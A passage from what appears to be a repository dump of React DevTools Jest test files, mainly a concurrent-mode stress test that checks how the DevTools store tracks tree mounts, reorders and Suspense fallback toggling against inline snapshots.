=>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <MaybeSuspend suspend={false}>{steps[j]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <MaybeSuspend suspend={true}>{steps[j]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[i],\n        );\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 7. Verify we can update from each step to each step when toggling Suspense.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        createContainer();\n\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n\n        // We get ID from the index in the tree above:\n        // Root, X, Suspense, ...\n        //          ^ (index is 2)\n        const suspenseID = store.getElementIDAtIndex(2);\n\n        // Force fallback.\n        expect(print(store)).toEqual(snapshots[i]);\n        act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: true,\n          });\n        });\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[j],\n        );\n\n        // Stop forcing fallback.\n        act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: false,\n          });\n        });\n        expect(print(store)).toEqual(snapshots[i]);\n\n        // Trigger actual fallback.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <MaybeSuspend suspend={true}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[j],\n        );\n\n        // Force fallback while we're in fallback mode.\n        act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: true,\n          });\n        });\n        // Keep seeing fallback content.\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[j],\n        );\n\n        // Switch to primary mode.\n        act(() =>\n          render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Fallback is still forced though.\n        expect(print(store, undefined, undefined, false)).toEqual(\n          fallbackSnapshots[j],\n        );\n\n        // Stop forcing fallback. This reverts to primary content.\n        act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: false,\n          });\n        });\n        // Now we see primary content.\n        expect(print(store)).toEqual(snapshots[i]);\n\n        // Clean up after every iteration.\n        act(() => unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/storeStressTestConcurrent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndescribe('StoreStressConcurrent', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let actAsync;\n  let bridge;\n  let store;\n  let print;\n\n  jest.setTimeout(15000);\n\n  beforeEach(() => {\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('./utils').act;\n    // TODO: Figure out recommendation for concurrent mode tests, then replace\n    // this helper with the real thing.\n    actAsync = require('./utils').actAsync;\n\n    print = require('./__serializers__/storeSerializer').printStore;\n  });\n\n  // This is a stress test for the tree mount/update/unmount traversal.\n  // It renders different trees that should produce the same output.\n  // @reactVersion >= 18.0\n  it('should handle a stress test with different tree operations (Concurrent Mode)', async () => {\n    let setShowX;\n    const A = () => 'a';\n    const B = () => 'b';\n    const C = () => {\n      // We'll be manually flipping this component back and forth in the test.\n      // We only do this for a single node in order to verify that DevTools\n      // can handle a subtree switching alternates while other subtrees are memoized.\n      const [showX, _setShowX] = React.useState(false);\n      setShowX = _setShowX;\n      return showX ? <X /> : 'c';\n    };\n    const D = () => 'd';\n    const E = () => 'e';\n    const X = () => 'x';\n    const a = <A key=\"a\" />;\n    const b = <B key=\"b\" />;\n    const c = <C key=\"c\" />;\n    const d = <D key=\"d\" />;\n    const e = <E key=\"e\" />;\n\n    function Parent({children}) {\n      return children;\n    }\n\n    // 1. Render a normal version of [a, b, c, d, e].\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    act(() => root.render(<Parent>{[a, b, c, d, e]}</Parent>));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <A key=\"a\">\n            <B key=\"b\">\n            <C key=\"c\">\n            <D key=\"d\">\n            <E key=\"e\">\n    `);\n    expect(container.textContent).toMatch('abcde');\n    const snapshotForABCDE = print(store);\n\n    // 2. Render a version where <C /> renders an <X /> child instead of 'c'.\n    // This is how we'll test an update to a single component.\n    act(() => {\n      setShowX(true);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <A key=\"a\">\n            <B key=\"b\">\n          ▾ <C key=\"c\">\n              <X>\n            <D key=\"d\">\n            <E key=\"e\">\n    `);\n    expect(container.textContent).toMatch('abxde');\n    const snapshotForABXDE = print(store);\n\n    // 3. Verify flipping it back produces the original result.\n    act(() => {\n      setShowX(false);\n    });\n    expect(container.textContent).toMatch('abcde');\n    expect(print(store)).toBe(snapshotForABCDE);\n\n    // 4. Clean up.\n    act(() => root.unmount());\n    expect(print(store)).toBe('');\n\n    // Now comes the interesting part.\n    // All of these cases are equivalent to [a, b, c, d, e] in output.\n    // We'll verify that DevTools produces the same snapshots for them.\n    // These cases are picked so that rendering them sequentially in the same\n    // container results in a combination of mounts, updates, unmounts, and reorders.\n    // prettier-ignore\n    const cases = [\n      [a, b, c, d, e],\n      [[a], b, c, d, e],\n      [[a, b], c, d, e],\n      [[a, b], c, [d, e]],\n      [[a, b], c, [d, '', e]],\n      [[a], b, c, d, [e]],\n      [a, b, [[c]], d, e],\n      [[a, ''], [b], [c], [d], [e]],\n      [a, b, [c, [d, ['', e]]]],\n      [a, b, c, d, e],\n      [<div key=\"0\">{a}</div>, b, c, d, e],\n      [<div key=\"0\">{a}{b}</div>, c, d, e],\n      [<div key=\"0\">{a}{b}</div>, c, <div key=\"1\">{d}{e}</div>],\n      [<div key=\"1\">{a}{b}</div>, c, <div key=\"0\">{d}{e}</div>],\n      [<div key=\"0\">{a}{b}</div>, c, <div key=\"1\">{d}{e}</div>],\n      [<div key=\"2\">{a}{b}</div>, c, <div key=\"3\">{d}{e}</div>],\n      [<span key=\"0\">{a}</span>, b, c, d, [e]],\n      [a, b, <span key=\"0\"><span>{c}</span></span>, d, e],\n      [<div key=\"0\">{a}</div>, [b], <span key=\"1\">{c}</span>, [d], <div key=\"2\">{e}</div>],\n      [a, b, [c, <div key=\"0\">{d}<span>{e}</span></div>], ''],\n      [a, [[]], b, c, [d, [[]], e]],\n      [[[a, b, c, d], e]],\n      [a, b, c, d, e],\n    ];\n\n    // 5. Test fresh mount for each case.\n    for (let i = 0; i < cases.length; i++) {\n      // Ensure fresh mount.\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n\n      // Verify mounting 'abcde'.\n      await act(() => root.render(<Parent>{cases[i]}</Parent>));\n      expect(container.textContent).toMatch('abcde');\n      expect(print(store)).toEqual(snapshotForABCDE);\n\n      // Verify switching to 'abxde'.\n      await act(() => {\n        setShowX(true);\n      });\n      expect(container.textContent).toMatch('abxde');\n      expect(print(store)).toBe(snapshotForABXDE);\n\n      // Verify switching back to 'abcde'.\n      await act(() => {\n        setShowX(false);\n      });\n      expect(container.textContent).toMatch('abcde');\n      expect(print(store)).toBe(snapshotForABCDE);\n\n      // Clean up.\n      await act(() => root.unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 6. Verify *updates* by reusing the container between iterations.\n    // There'll be no unmounting until the very end.\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    for (let i = 0; i < cases.length; i++) {\n      // Verify mounting 'abcde'.\n      await act(() => root.render(<Parent>{cases[i]}</Parent>));\n      expect(container.textContent).toMatch('abcde');\n      expect(print(store)).toEqual(snapshotForABCDE);\n\n      // Verify switching to 'abxde'.\n      await act(() => {\n        setShowX(true);\n      });\n      expect(container.textContent).toMatch('abxde');\n      expect(print(store)).toBe(snapshotForABXDE);\n\n      // Verify switching back to 'abcde'.\n      await act(() => {\n        setShowX(false);\n      });\n      expect(container.textContent).toMatch('abcde');\n      expect(print(store)).toBe(snapshotForABCDE);\n      // Don't unmount. Reuse the container between iterations.\n    }\n    act(() => root.unmount());\n    expect(print(store)).toBe('');\n  });\n\n  // @reactVersion >= 18.0\n  it('should handle stress test with reordering (Concurrent Mode)', async () => {\n    const A = () => 'a';\n    const B = () => 'b';\n    const C = () => 'c';\n    const D = () => 'd';\n    const E = () => 'e';\n    const a = <A key=\"a\" />;\n    const b = <B key=\"b\" />;\n    const c = <C key=\"c\" />;\n    const d = <D key=\"d\" />;\n    const e = <E key=\"e\" />;\n\n    // prettier-ignore\n    const steps = [\n      a,\n      b,\n      c,\n      d,\n      e,\n      [a],\n      [b],\n      [c],\n      [d],\n      [e],\n      [a, b],\n      [b, a],\n      [b, c],\n      [c, b],\n      [a, c],\n      [c, a],\n    ];\n\n    const Root = ({children}) => {\n      return children;\n    };\n\n    // 1. Capture the expected render result.\n    const snapshots = [];\n    let container = document.createElement('div');\n    for (let i = 0; i < steps.length; i++) {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<Root>{steps[i]}</Root>));\n      // We snapshot each step once so it doesn't regress.\n      snapshots.push(print(store));\n      await act(() => root.unmount());\n      expect(print(store)).toBe('');\n    }\n\n    expect(snapshots).toMatchInlineSnapshot(`\n      [\n        \"[root]\n        ▾ <Root>\n            <A key=\"a\">\",\n        \"[root]\n        ▾ <Root>\n            <B key=\"b\">\",\n        \"[root]\n        ▾ <Root>\n            <C key=\"c\">\",\n        \"[root]\n        ▾ <Root>\n            <D key=\"d\">\",\n        \"[root]\n        ▾ <Root>\n            <E key=\"e\">\",\n        \"[root]\n        ▾ <Root>\n            <A key=\"a\">\",\n        \"[root]\n        ▾ <Root>\n            <B key=\"b\">\",\n        \"[root]\n        ▾ <Root>\n            <C key=\"c\">\",\n        \"[root]\n        ▾ <Root>\n            <D key=\"d\">\",\n        \"[root]\n        ▾ <Root>\n            <E key=\"e\">\",\n        \"[root]\n        ▾ <Root>\n            <A key=\"a\">\n            <B key=\"b\">\",\n        \"[root]\n        ▾ <Root>\n            <B key=\"b\">\n            <A key=\"a\">\",\n        \"[root]\n        ▾ <Root>\n            <B key=\"b\">\n            <C key=\"c\">\",\n        \"[root]\n        ▾ <Root>\n            <C key=\"c\">\n            <B key=\"b\">\",\n        \"[root]\n        ▾ <Root>\n            <A key=\"a\">\n            <C key=\"c\">\",\n        \"[root]\n        ▾ <Root>\n            <C key=\"c\">\n            <A key=\"a\">\",\n      ]\n    `);\n\n    // 2. Verify that we can update from every step to every other step and back.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => root.render(<Root>{steps[i]}</Root>));\n        expect(print(store)).toMatch(snapshots[i]);\n        await act(() => root.render(<Root>{steps[j]}</Root>));\n        expect(print(store)).toMatch(snapshots[j]);\n        await act(() => root.render(<Root>{steps[i]}</Root>));\n        expect(print(store)).toMatch(snapshots[i]);\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 3. Same test as above, but this time we wrap children in a host component.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <div>{steps[i]}</div>\n            </Root>,\n          ),\n        );\n        expect(print(store)).toMatch(snapshots[i]);\n        await act(() =>\n          root.render(\n            <Root>\n              <div>{steps[j]}</div>\n            </Root>,\n          ),\n        );\n        expect(print(store)).toMatch(snapshots[j]);\n        await act(() =>\n          root.render(\n            <Root>\n              <div>{steps[i]}</div>\n            </Root>,\n          ),\n        );\n        expect(print(store)).toMatch(snapshots[i]);\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n  });\n\n  // @reactVersion >= 18.0\n  it('should handle a stress test for Suspense (Concurrent Mode)', async () => {\n    const A = () => 'a';\n    const B = () => 'b';\n    const C = () => 'c';\n    const X = () => 'x';\n    const Y = () => 'y';\n    const Z = () => 'z';\n    const a = <A key=\"a\" />;\n    const b = <B key=\"b\" />;\n    const c = <C key=\"c\" />;\n    const z = <Z key=\"z\" />;\n\n    // prettier-ignore\n    const steps = [\n      a,\n      [a],\n      [a, b, c],\n      [c, b, a],\n      [c, null, a],\n      <React.Fragment>{c}{a}</React.Fragment>,\n      <div>{c}{a}</div>,\n      <div><span>{a}</span>{b}</div>,\n      [[a]],\n      null,\n      b,\n      a,\n    ];\n\n    const Never = () => {\n      if (React.use) {\n        React.use(new Promise(() => {}));\n      } else {\n        throw new Promise(() => {});\n      }\n    };\n\n    const Root = ({children}) => {\n      return children;\n    };\n\n    // 1. For each step, check Suspense can render them as initial primary content.\n    // This is the only step where we use Jest snapshots.\n    const snapshots = [];\n    let container = document.createElement('div');\n    for (let i = 0; i < steps.length; i++) {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() =>\n        root.render(\n          <Root>\n            <X />\n            <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n            <Y />\n          </Root>,\n        ),\n      );\n      // We snapshot each step once so it doesn't regress.d\n      snapshots.push(print(store, false, null, false));\n      await act(() => root.unmount());\n      expect(print(store)).toBe('');\n    }\n\n    expect(snapshots).toMatchInlineSnapshot(`\n      [\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <A key=\"a\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <A key=\"a\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <A key=\"a\">\n              <B key=\"b\">\n              <C key=\"c\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <C key=\"c\">\n              <B key=\"b\">\n              <A key=\"a\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <C key=\"c\">\n              <A key=\"a\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <C key=\"c\">\n              <A key=\"a\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <C key=\"c\">\n              <A key=\"a\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <A key=\"a\">\n              <B key=\"b\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <A key=\"a\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n            <Suspense>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <B key=\"b\">\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n              <A key=\"a\">\n            <Y>\",\n      ]\n    `);\n\n    // 2. Verify check Suspense can render same steps as initial fallback content.\n    for (let i = 0; i < steps.length; i++) {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() =>\n        root.render(\n          <Root>\n            <X />\n            <React.Suspense fallback={steps[i]}>\n              <Z />\n              <Never />\n              <Z />\n            </React.Suspense>\n            <Y />\n          </Root>,\n        ),\n      );\n      expect(print(store, false, null, false)).toEqual(snapshots[i]);\n      await act(() => root.unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 3. Verify we can update from each step to each step in primary mode.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[j]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 4. Verify we can update from each step to each step in fallback mode.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 5. Verify we can update from each step to each step when moving primary -> fallback.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 6. Verify we can update from each step to each step when moving fallback -> primary.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>{steps[j]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[i]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Clean up after every iteration.\n        await act(() => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n\n    // 7. Verify we can update from each step to each step when toggling Suspense.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n\n        // We get ID from the index in the tree above:\n        // Root, X, Suspense, ...\n        //          ^ (index is 2)\n        const suspenseID = store.getElementIDAtIndex(2);\n\n        // Force fallback.\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        await actAsync(async () => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: true,\n          });\n        });\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n\n        // Stop forcing fallback.\n        await actAsync(async () => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: false,\n          });\n        });\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n\n        // Trigger actual fallback.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>\n                <Z />\n                <Never />\n                <Z />\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n\n        // Force fallback while we're in fallback mode.\n        await act(() => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: true,\n          });\n        });\n        // Keep seeing fallback content.\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n\n        // Switch to primary mode.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={steps[j]}>{steps[i]}</React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Fallback is still forced though.\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n\n        // Stop forcing fallback. This reverts to primary content.\n        await actAsync(async () => {\n          bridge.send('overrideSuspense', {\n            id: suspenseID,\n            rendererID: store.getRendererIDForElement(suspenseID),\n            forceFallback: false,\n          });\n        });\n        // Now we see primary content.\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n\n        // Clean up after every iteration.\n        await actAsync(async () => root.unmount());\n        expect(print(store)).toBe('');\n      }\n    }\n  });\n\n  // @reactVersion >= 18.0\n  it('should handle a stress test for Suspense without type change (Concurrent Mode)', async () => {\n    const A = () => 'a';\n    const B = () => 'b';\n    const C = () => 'c';\n    const X = () => 'x';\n    const Y = () => 'y';\n    const Z = () => 'z';\n    const a = <A key=\"a\" />;\n    const b = <B key=\"b\" />;\n    const c = <C key=\"c\" />;\n    const z = <Z key=\"z\" />;\n\n    // prettier-ignore\n    const steps = [\n      a,\n      [a],\n      [a, b, c],\n      [c, b, a],\n      [c, null, a],\n      <React.Fragment>{c}{a}</React.Fragment>,\n      <div>{c}{a}</div>,\n      <div><span>{a}</span>{b}</div>,\n      [[a]],\n      null,\n      b,\n      a,\n    ];\n\n    const Never = () => {\n      if (React.use) {\n        React.use(new Promise(() => {}));\n      } else {\n        throw new Promise(() => {});\n      }\n    };\n\n    const MaybeSuspend = ({children, suspend}) => {\n      if (suspend) {\n        return (\n          <div>\n            {children}\n            <Never />\n            <X />\n          </div>\n        );\n      }\n      return (\n        <div>\n          {children}\n          <Z />\n        </div>\n      );\n    };\n\n    const Root = ({children}) => {\n      return children;\n    };\n\n    // 1. For each step, check Suspense can render them as initial primary content.\n    // This is the only step where we use Jest snapshots.\n    const snapshots = [];\n    let container = document.createElement('div');\n    for (let i = 0; i < steps.length; i++) {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() =>\n        root.render(\n          <Root>\n            <X />\n            <React.Suspense fallback={z}>\n              <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n            </React.Suspense>\n            <Y />\n          </Root>,\n        ),\n      );\n      // We snapshot each step once so it doesn't regress.\n      snapshots.push(print(store, false, null, false));\n      await act(() => root.unmount());\n      expect(print(store)).toBe('');\n    }\n\n    // 2. Verify check Suspense can render same steps as initial fallback content.\n    // We don't actually assert here because the tree includes <MaybeSuspend>\n    // which is different from the snapshots above. So we take more snapshots.\n    const fallbackSnapshots = [];\n    for (let i = 0; i < steps.length; i++) {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() =>\n        root.render(\n          <Root>\n            <X />\n            <React.Suspense fallback={steps[i]}>\n              <Z />\n              <MaybeSuspend suspend={true}>{steps[i]}</MaybeSuspend>\n              <Z />\n            </React.Suspense>\n            <Y />\n          </Root>,\n        ),\n      );\n      // We snapshot each step once so it doesn't regress.\n      fallbackSnapshots.push(print(store, false, null, false));\n      await act(() => root.unmount());\n      expect(print(store)).toBe('');\n    }\n\n    expect(snapshots).toMatchInlineSnapshot(`\n      [\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <A key=\"a\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <A key=\"a\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <A key=\"a\">\n                <B key=\"b\">\n                <C key=\"c\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <C key=\"c\">\n                <B key=\"b\">\n                <A key=\"a\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <C key=\"c\">\n                <A key=\"a\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <C key=\"c\">\n                <A key=\"a\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <C key=\"c\">\n                <A key=\"a\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <A key=\"a\">\n                <B key=\"b\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <A key=\"a\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <B key=\"b\">\n                <Z>\n            <Y>\",\n        \"[root]\n        ▾ <Root>\n            <X>\n          ▾ <Suspense>\n            ▾ <MaybeSuspend>\n                <A key=\"a\">\n                <Z>\n            <Y>\",\n      ]\n    `);\n\n    // 3. Verify we can update from each step to each step in primary mode.\n    for (let i = 0; i < steps.length; i++) {\n      for (let j = 0; j < steps.length; j++) {\n        // Always start with a fresh container and steps[i].\n        container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        expect(print(store, false, null, false)).toEqual(snapshots[i]);\n        // Re-render with steps[j].\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[j]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          ),\n        );\n        // Verify the successful transition to steps[j].\n        expect(print(store, false, null, false)).toEqual(snapshots[j]);\n        // Check that we can transition back again.\n        await act(() =>\n          root.render(\n            <Root>\n              <X />\n              <React.Suspense fallback={z}>\n                <MaybeSuspend suspend={false}>{steps[i]}</MaybeSuspend>\n              </React.Suspense>\n              <Y />\n            </Root>,\n          